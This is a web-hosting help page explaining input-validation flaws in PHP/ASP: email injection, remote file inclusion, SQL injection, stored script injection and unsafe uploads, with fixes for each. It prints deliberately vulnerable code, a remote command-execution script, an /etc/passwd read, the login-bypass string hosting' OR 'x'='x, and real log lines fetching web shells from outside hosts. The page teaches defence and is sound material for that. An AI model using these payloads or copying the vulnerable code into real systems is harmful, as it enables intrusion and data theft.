Today’s websites are increasingly complex and dynamic. Dynamic content is achieved through the use of web applications that can deliver different content to users depending on their settings and requirements, or by webmasters that make and/or keep an application manageable.

Input validation (the validation of user input) is one of the most important issues if you work on web application development. Examples range from a simple email form to an elaborate and extensive CMS (Content Management System).
The internet is a relatively anonymous environment and it is generally child’s play for malicious third parties to abuse scripts. A malicious third party could for example do the following:

  • Send anonymous email via web forms;
  • Steal cookies;
  • Log in to admin pages;
  • Enter data into databases (SQL injection);

GET requests are often used for this. A GET request is input via the address bar of the browser. In this way the attacker has more control over what he or she wants to have entered.

Link to this headingEmail Injection in email forms, introduction

In PHP and ASP scripts, it is possible for malicious third parties (spammers) to enter `line feeds` (newlines) into forms so that email can be sent Cc (Carbon copy) or Bcc (Blind carbon copy) to email addresses other than intended. The term for this is “Email Injection” and the script then functions as a sort of SMTP proxy.
These bugs in ASP and PHP email components are not new. They were first reported years ago, but since an extensive advisory was issued about this problem (warning with a “proof of concept”) and the widespread use of such mail scripts on websites, it has become a veritable trend among spammers.

As we have explained, it is quite easy for malicious third parties to be able to send arbitrary email from a web server. This can for example be used by a malicious third party (hereafter “attacker”) for reasons that are limited only by his imagination. For example, a press release may be spoofed, which looks like it comes from, in which it is stated that the general director has died. By looking at the headers of the email, it does indeed look like the email was sent by, and the value of shares in on the stock market plummets.
Such abuse can often have major financial consequences for companies, potentially causing losses of millions.

On the somewhat less damaging side, this can be abused by spammers to send bulk email, filling up email inboxes with even more unsolicited email.

That is why it is up to the user to ensure adequate protection of scripts. An improperly protected script causes problems for:

  • Third parties who receive unwanted email;
  • Our servers, which have to send these large amounts of unsolicited email and therefore have less CPU time and memory available to serve website content. There is the possibility that other providers will blacklist/block our web servers so that the email sent no longer arrives at the providers’ mail servers;
  • Last but not least: You yourself may be encumbered with the large numbers of bounces (“NDRs”, Non Delivery Reports, “DSNs”, Delivery Status Notifications, etc).

The input fields of a form can vary, but the most common is that the following can be entered by the visitor:
– Subject
– Message
– Sender’s email address

Link to this headingEmail forms, please note

VEVIDA is not responsible for the security of mail scripts: we can only offer limited, if any, support for scripts. You can find information about VEVIDA’s policy, including (without limitation) about the abuse of scripts, here.

Link to this headingWebsites, Cross site scripting (XSS)

Many websites are built in such a way that a QUERY STRING can be used to see what text is to be displayed. This can be done via a database query, in which the data are fetched from a database, but it is also possible to display specific (static) files per query string.

A query string is separated from the URL by a question mark (?). The query string is followed by pairs of parameters that are included in an HTTP request, separated by an ampersand (&) symbol. The form of a query string is parameter1=value1& parameter2=value2, for example.

This involves a major risk!
What if a malicious third party were to enter an externally hosted page with a PHP script as a query string? If no check is done to see if the file is located locally or remotely, the external PHP script can be executed on the website. This can have a major impact on your website and on our servers. For instance, the website can be defaced, cookies can be stolen, sessions can be taken over, or files can be placed on our server on writable parts of the website.
This is known as Cross Site Scripting, abbreviated XSS (to avoid confusion with CSS, Cascading Style Sheets). Cross site scripting occurs when a web application receives malicious data from a user (whether or not via an external website).

PHP-Nuke is an example of a software package that is (or was) very vulnerable to Cross site scripting attacks (technical):

In PNphpBB – phpBB for Post Nuke and WebCalendar:

But also major webmail sites such as Hotmail, Yahoo and Excite:

To make a website easily expandable, the following PHP code can be used, for example:

 $page = $_GET["page"];
 $bestand = fopen("$page","r");
 if(!$bestand) {
 print "file not found";
 else {

Using the GET variable $page, the PHP function fopen() is used to open a file in read mode (r). Because fopen() has two methods (file and URL), in this example it is possible to load an external page if the following is given as a query string:

The URL then becomes:

and the website of is displayed. If, for example, the following script is present on (vulnerable.php):

 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
 if (isset($_GET['command'])) {
 print "<pre>
 system("cmd $command");
 print "</pre>";
 <form action="vulnerable.php" method="GET">
 <input value="/C " size="20"><br />

Then the output of :

Wed 29-03-2006

The time of the web server at which is hosted is shown on the page yourdomain/page.php.
On many servers, other files can also be called up and opened on the same server, for example via the following URL:

which opens the /etc/passwd file on a Linux/Unix system.

For this reason it is necessary to check whether a URL or a file is given as a query string.

 $page = $_GET["page"];
 // http:// of ftp:// of ../ worden gefilterd
 // hetzelfde kan voor bestands extensies: $pattern = "(.doc|.pdf|.htm|.html|.shtml|.php|.asp)";
 $pattern = "(http://|ftp://|../)";
 if(eregi($pattern, $page)) {
 print "Wrong value submitted in querystring";
 $bestand = fopen("$page","r");
 if(!$bestand) {
 print "file not found";
 else {

It is also possible to have the given file preceded by a physical path:

 $page = $_GET["page"];
 $path = "D:/www/";
 $bestand = @fopen($path ."/".$page,"r");

p>In this way a URL always produces an error message; calling up a URL via does not work.

For security reasons, we will not give examples of bad PHP code that can be used to place files on the server. A live example from the log files for one of the websites hosted by VEVIDA makes this somewhat clearer: – – [12/Mar/2006:16:56:39 +0100] “POST /subfolder/template.php? page=[munged]/list.txt? &action=upload&chdir= d:/www/[munged]www/subfolder/ HTTP/1.1” 200 30765

The file list.txt is actually a PHP file, with different functions such as “upload” (to upload files) and “chdir” (to browse directories). Due to write permissions assigned to /subfolder, a malicious third party could upload and overwrite files in this folder.

Here is another live example:

[yyy.yyy.yyy.yyy] – – [26/Sep/2005:13:50:29 +0200] “GET /blog/extensions/moblog/moblog_lib.php?basedir= http://[]/csewin.gif? &dx=1&hostxpl= &storage=d:www victim.nlwwwindex.html HTTP/1.1” 200 6168
[yyy.yyy.yyy.yyy] – – [26/Sep/2005:13:50:42 +0200] “GET /blog/extensions/moblog/moblog_lib.php?basedir= http:// []/csewin.gif?&dx=1&hostxpl= http:// []/index2.html&storage= d:wwwvictim.nlwwwindex.php HTTP/1.1” 200 6168

[yyy.yyy.yyy.yyy] : client host that makes the http request;
[] : host (hacked web server) that hosts a certain PHP script; : the website to be defaced;
csewin.gif: the PHP file, with a different extension, with the functions and commands to be executed.

Link to this headingSQL Injection (PHP)

Link to this headingWhat is SQL injection?

SQL injection is an attack technique that is used to abuse websites by changing (backend/cms) SQL statements, by manipulating application input., Web Application Security Consortium Glossary

SQL injection is possible when a developer accepts user input and enters this directly into an SQL statement, without filtering out potentially dangerous characters. This not only enables the attacker to retrieve data from the database, but also to change or even delete the data!
Some SQL servers such as Microsoft SQL Server and MySQL include Stored and Extended Procedures (database server functions). When an attacker is able to gain access to these procedures, it is possible to take over the entire server.

Attackers often enter single quotes (‘) into URL query strings, or forms, to test whether SQL injection is possible. If the attacker receives an error message as shown below, there is a good possibility that the application is vulnerable to SQL injection.

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14’
[Microsoft][ODBC SQL Server Driver][SQL Server]Incorrect syntax near the keyword ‘or’.
/wasc.asp, line 69

PHP is often used in combination with MySQL. Suppose we have the following database with user data (login):

id varchar(32) primary key,
username varchar(30),
password varchar(32)

id, username, password) VALUES (
“1”, “admin”, “admin123”);

The standard login values, of, are:
username: admin
password: admin123

And the following PHP login-script:

 * Voorbeeld loginscript, for SQL Injection
 * Gebruik een willekeurige gebruikersnaam en
 * hosting' OR 'x'='x als wachtwoord.
 <head><title>SQL Injection</title>
 if (isset($_POST['set'])) {
 * Momenteel staat de functie magic_quotes_gpc-directive in 
 * het php.ini bestand van onze hostingomgeving ingeschakeld.
 * De toegevoegde escape slashes worden met de functie 
 * stripslashes verwijderd. Ter illustratie van deze test-case.
 * Vanaf PHP versie 5.3.x staat de magic_quotes_gpc-directive in
 * PHP standaard uitgeschakeld. De functie is deprecated en 
 * wordt in PHP versie 6 verwijderd.
 $gebruikersnaam = stripslashes($_POST['user']);
 $wachtwoord = stripslashes($_POST['pass']);
 $link = mysql_connect('','mysql_gebruikersnaam','mysql_wachtwoord');
 if (!$link) {
 die('Not connected: ' . mysql_error());
 mysql_select_db('databasenaam', $link);
 * FROM `Login`
 * WHERE gebruikersnaam = 'admin'
 * AND wachtwoord = 'admin'
 * LIMIT 0 , 30
 $query = "SELECT * FROM `Login` WHERE gebruikersnaam='".$gebruikersnaam."' and wachtwoord='".$wachtwoord."' LIMIT 1";
 $result = mysql_query($query);
 if (!$result) {
 echo 'Could not run query: ' . mysql_error() . '<br />'
 .$query; exit;
 else {
 * Hebben we een row teruggekregen in onze resultset?
 if (mysql_num_rows($result) == 1) {
 * mysql_fetch_array is niet nodig, maar ter illustratie. Om te
 * laten zien dat het 'id' ook 1 is.
 $row = mysql_fetch_array($result, MYSQL_NUM);
 echo 'U bent ingelogd, gebruikersnaam: ' .$gebruikersnaam . ', uw id is: ' .$row[0];
 * hier kan de verdere code komen voor als een gebruiker ingelogd is.
 * bijvoorbeeld het registreren van een $_SESSION[] object, redirect
 * naar admin-pagina, enz.
 else {
 echo 'Kon uw inlognaam niet vinden, of uw wachtwoord is fout.';
 else {
 echo ('<form action="'.$_SERVER["PHP_SELF"].'" method="post">
 <table align="left" border="0" cellspacing="0" cellpadding="3">
 <td>Username:</td><td><input name="user" maxlength="30" />
 <td>Password:</td><td><input name="pass" maxlength="30" />
 <td><input type="submit" value="Login" />

(we will not go into the use of $_SERVER[“PHP_SELF”], which is not recommended)

If the variables $gebruikersnaam (username) and $wachtwoord (password) are forwarded directly from the user input, this script can be compromised very easily. Suppose we enter “vevida” (without quotes) as the username and the following string as the password: hosting’ OR ‘x’=’x

 FROM Login
 WHERE username = 'vevida'
 AND password = hosting' OR 'x'='x'";

Because the application does not really look at the query, but just constructs a string, the use of single quotes causes the WHERE to be converted to a two-component clause:

“SELECT * FROM Login WHERE username = ‘vevida’ AND password = hosting’ OR ‘x’=’x’;

The ‘x’=’x part is certain to be TRUE, regardless of what is contained in the first part.

In this way an attacker can easily bypass a login without knowing or needing to know a valid username/password combination!

Link to this headingHow do we avoid this?

Such attacks can be avoided using the main theme of this page: never trust input from a visitor!

We avoid the attacks in a number of ways:

1) Structure good queries / statements:

* Place backticks (“) around field names:

 $query = "SELECT * FROM `Login` WHERE `username`=".$username." AND `password`=".$password."";

In this way you force MySQL to see this as a table/field name (to put it simply), even if this involves a reserved name. This means that if you call a field ‘order’ or ‘password’, this works with “. Without backticks around ‘order’ your query would fail.

* Place the input between single quotes (”):

 $query = "SELECT * FROM `Login` WHERE `username`='".$username."' AND `password`='".$password."'";

This makes:

 SELECT * FROM `Login` WHERE `username`='username' AND `password`='password';

this means that the input of quotes must be done differently. For instance, as a password, the following must now be entered: hosting’ OR ‘x’=’x

* Place the variables between curly brackets ({}):

 $query = "SELECT * FROM `Login` WHERE `username`='{$username}' AND `password`='{$password}'";

The advantage of this is that an INSERT-statement such as “{$username}and something else” does work, “$usernameand something else” fails because “$usernameand” does not exist. This therefore prevents ambiguity and is a way to prevent complex errors that would otherwise be difficult to trace, especially with dynamically composed strings.

  • Quoting strings in queries: necessary.
  • Backticks around field names: recommended, necessary for reserved names.
  • Curly brackets around names of variables: optional, seldom necessary, but a good habit.

2) Use the function mysql_real_escape_string(), to escape special characters in a string.


 $link = mysql_connect('mysql_host', 'mysql_user', 'mysql_password')
 if (!$link) {
 $query = sprintf("SELECT * FROM users WHERE user='%s' AND password='%s'",

Attention: mysql_real_escape_string() does not escape % or _ symbols. These are wildcard symbols in MySQL, provided that they are combined with LIKE, GRANT or REVOKE statements.

When this is incorporated into the PHP part of the script, the PHP code becomes:

 * stripslashes() wederom overbodig, slechts ter illustratie
 $query = sprintf("SELECT * FROM `Login` WHERE `gebruikersnaam` ='%s' and `wachtwoord` = '%s' LIMIT 1",
 $result = mysql_query($query, $link);

If we enter:
username: vevida
password: hosting’ OR ‘x’=’x

the query becomes:

SELECT * FROM `Login` WHERE `username` =’vevida’ and `password` = ‘hosting’ OR ‘x’=’x’ LIMIT 1

The query has been successfully invalidated.

Link to this headingIn forms

It is great to let visitors leave comments on websites. This could be in the form of a shoutbox, reactions to a news article, etc. These remarks can be saved in a database, for example with the following code:

 mysql_query('insert into commentaar values ("", "' . $_POST['commentaar'] . '")');

Nothing wrong with that, is there? Suppose someone has typed in the following:


Now, every visitor to the page gets a Javascript alert window. This is very irritating, but it doesn’t end there: for instance, this could be used to steal cookies.

We can prevent this with the function:

With the htmlspecialchars() function, you can convert HTML symbols (< > &) into their HTML code. This also makes it possible to convert double and single quotes to their HTML code value, depending on the constant that is given:

Double quotation marks are converted; single quotes are not.
Double and single quotation marks are converted.
Double and single quotation marks are NOT converted.

In this way you can protect your $_POST[‘comments’] via:

 $commentaar = htmlspecialchars($_POST['commentaar'], ENT_QUOTES);
 mysql_query('insert into commentaar values ("", "' . $commentaar . '")');

More information about SQL injection, including articles and links, can be found at:

Link to this headingmd5, sha-1 hashes

md5 ( is a function to calculate a hash (a 32-character hexadecimal number) for a string. You will find this in many places in applications, such as saved passwords in a database. The sample hash for the string ‘admin’ is:


This hash can in no way be calculated back to the string ‘admin’. To verify a password, an application will create an md5 hash from the input and compare this with what is in the database. If the hashes are the same, then the password is correct. The application or database does not need to know the ‘real’ password.
Here is a simplified PHP example:

 // mysql verbinding + query om het wachtwoord op te vragen
 $real_password = $row['password]; //21232f297a57a5a743894a0e4a801fc3
 if (md5($_POST['password']) == $real_password) {
 // hashes komen overeen

In theory, an md5 hash of a password looks like a very safe way to save a password. But it isn’t!

Due to a weakness in md5, it is possible to use a different string to calculate the same hash. This is called “md5 hash collision” (, The chance of this is low and takes a lot of computer processing power, but the chance exists. It only has to happen once, and your md5 hash is no longer secure.

If you develop applications yourself it is better to switch to sha-1 ( as a hash function. But sha-1 has also been found to have such flaws. For this reason, always use a strong, 256 bit or more, hash function, with a “salt” (hmac, or Hash Message Authentication Code ( The addition of a ‘salt’ involves pasting the salt-string onto the original string. Only then is the hash applied.

The standard PHP function “mhash” ( is a wrapper for different encryption and hash functions and also supports e.g. 256, 384 and 512 bit SHA hashes. For example:

 $phrase = 'Hello World';
 $sha256 = mhash(MHASH_SHA256,$phrase);

produces the output:


as “salt” we enter: aapnootMies

mhash(MHASH_SHA256,$phrase, 'aapnootMies');

the hash is then:


Link to this headingUploading files

On many websites it is possible to upload files to the site via the browser. What could be more fun than letting visitors share photos with each other? However, this also makes it possible for malicious third parties to upload potentially dangerous scripts: Due to the upload method (enctype=”multipart/form-data”) it is not possible to call up the full file name before the entire file has been uploaded and placed on the server.
Calling up the file name can be controlled on the client-side using JavaScript or ActiveX components, but this requires the visitor to have this turned on in his or her browser. The upload script will work just as well without support for JavaScript or ActiveX as with this support. In other words, this “security” does not do anything.

A method to ensure that no (potentially) dangerous scripts or other undesirable files are uploaded to the website is to delete them immediately after uploading. ASPUpload offers us the File.Delete object to put this into effect.

The code below uses the object File.ImageType to determine whether the uploaded file is a valid image file. If this is not the case, the file is deleted.
We will not show the upload.html file here.


 <%@ Language=VBScript %>
 <% Response.Buffer = True %>
 ' VEVIDA ASPUpload upload script
 ' t.b.v. input validation
 ' Tue Jul 19 12:36:11 CEST 2005
 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
 <html xmlns="" lang="en-US" xml:lang="en-US">
 <meta http-equiv="Content-Type" content="text/html;charset=utf-8" />
 ' controleren of het uploadformulier gebruikt is.
 If Request("uploaden") = "" Then
 Response.Write "<p>No direct access to the script!</p>"
 Response.Write "</body></html>"
 End If
 ' Creëer het Upload object
 Set Upload = Server.CreateObject("Persits.Upload.1")
 ' Het is aan te raden om het Upload.Save PATH te beveiligen. Dit kan d.m.v.
 ' het verwijderen van de IUSR (-bezoekers-)rechten via myVEVIDA, of het 
 ' gebruiken van een ASP login script. Dit ASP login script dient dan 
 ' uiteraard wel in de scripts geinclude te worden.
 ' In het eerste geval hoeft het Upload.Save PATH geen schrijfrechten. Wordt 
 ' gekozen voor het ASP login script, dan behoeft het Upload.Save PATH
 ' schrijfrechten. Ken deze toe via myVEVIDA.
 Count = Upload.Save("D:wwwinlognaam.comwwwupload")
 <br />
 Files:<br />
 ' File.ImageType controleert of het reeds geuploade bestand een image bestand is.
 ' Het ondersteund de extensies "GIF", "JPG", "BMP" en "PNG", anders geeft het
 ' "UNKNOWN" terug.
 ' Omdat dit script alleen image uploads toestaat, worden alle andere bestanden 
 ' verwijderd (File.Delete).
 For Each File in Upload.Files
 If File.ImageType = "UNKNOWN" then
 Response.Write "<p>Fout! Dit is geen image bestand. Het bestand is verwijderd.</p>"
 End if
 If Err <> 0 Then
 Response.Write "<p>De volgende foutmelding deed zich voor: " & Err.Description & "</p>"
 Response.Write "Success! " & Count & " bestand(en) zijn geupload.</p>"
 End if
 ' Verwijder het Upload object van de server
 Set Upload = nothing 
 <p>Klik <a href="upload.asp">hier</a> om meer bestanden te uploaden.</p>

A PHP script can look like the following:

 * uploadform.php v 2.4 2005/07/19 16:48 
 * Copyright 2004 - 2005 VEVIDA Services B.V. - Bert Jan Wezeman <>
 * Input validation toegevoegd - Jan Reilink <>
 // Let er op dat er een "trailing slash" '/' achter het PATH geplaatst wordt
 $UploadDir = 'D:/www/';
 // Geef de naam in dat gebruikt wordt in het invoer veld
 $UserFileName = 'userfile';
 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "">
 <title>PHP File-Upload</title>
 <meta http-equiv="content-type" content="text/html;charset=ISO-8859-1" />
 // controleer of het formulier gesubmit is
 if (isset($_POST['set'])) {
 // kijk naar deze bestands typen (jpg|jpeg|gif|png|bmp)...
 if (eregi("(jpg|jpeg|gif|png|bmp)$",$_FILES[$UserFileName]['name'])) {
 // eindigt de bestandsnaam met iets dat wij willen, dan gaan we het bestand verplaatsen
 // van de temp_directory naar $UploadDir
 if (move_uploaded_file($_FILES[$UserFileName]['tmp_name'], $UploadDir . $_FILES[$UserFileName]['name'])) {
 // Geef een bevestiging aan de gebruiker
 echo "<div>Bestand is goed bevonden en was succesvol geupload.</div>";
 echo "<div>Bestandsnaam is: " .$_FILES[$UserFileName]['name'] . "<br>";
 echo "Klik <a href='upload.php'>hier</a> om nog een bestand te uploaden.</div>";
 else {
 // Er is iets mis gegaan, het bestand voldoet niet aan wat wij willen.
 // Geef een foutmelding weer, inclusief bestandsnaam.
 echo "Error, filename was " . $_FILES[$UserFileName]['name'] . "<br>";
 echo "Gebruik de <i>back button</i> om het nogmaals te proberen";
 else {
 // formulier was niet gesubmit, geef het formulier weer
 <form enctype="multipart/form-data" method="post" action="<?php echo $_SERVER['PHP_SELF'];?>" id="upload">
 <!-- De MAX_FILE_SIZE is een advies aan de browser, geen harde limiet -->
 <input value="2000000" />
 Send this file: <input />
 <input value="Send File" />

After checking the file name (does it end with jpg|jpeg|gif|png|bmp?), the following step could be to check whether the uploaded file is actually an image file. Image files have their own “MIME types”, for example image/png, image/jpeg, image/gif, image/psd, image/bmp and the like.
We can check whether the uploaded file (which is still unusable and located in the temp folder) is of a MIME type that we accept. This would be possible by combining two PHP functions:

For example via the following code, immediately below the if (eregi(“( … line:

 $MimeType = image_type_to_mime_type(getimagesize($_FILES[$UserFileName]['tmp_name']));
 // controleert aan de hand van het mime-type of het wel daadwerkelijk een image betreft.
 // if-regel verdeeld over meerdere regels
 if ($MimeType == ("image/png") || $MimeType == ("image/jpeg") || 
 $MimeType == ("image/gif") || $MimeType == ("image/psd") || 
 $MimeType == ("image/bmp")) {

After which we continue with the rest of the script:

 // eindigt de bestandsnaam met iets dat wij willen en is het mime-type goed bevonden,
 // dan gaan we het bestand verplaatsen van de temp_directory naar $UploadDir

The necessary error processing must still be taken care of using else-lines.

The reason for this extra check is: Browsers such as Internet Explorer sometimes have their own interpretation of files that are located on the internet. If Internet Explorer finds HTML code in a file that ends with .jpeg, Internet Explorer will run (parse) the file as if it was an HTML file. In other words, without this extra check, a malicious third party could rename a malicious script to image.gif and still run the file as if it was a script after uploading.

Link to this headingMore information

It is impossible to give a full explanation of input validation with examples of both good and bad code.
For example, in addition to checking whether an email address is entered into the email form, you will also want to check that the email address entered has the correct syntax, or that no strange HTML code is entered into the form, etc. The intention of this explanation is to use a few examples of code to show you how input validation could be implemented. But a well-known expression on the internet is: TIMTOWTDI (There Is More Than One Way To Do It).

Click here for more information about safer programming.

Comments on this page and explanations can be submitted through MyVevida. Please state the most relevant possible subject for this.

How would you rate this answer?

Thank you for your feedback!

Something went wrong. Please try again later.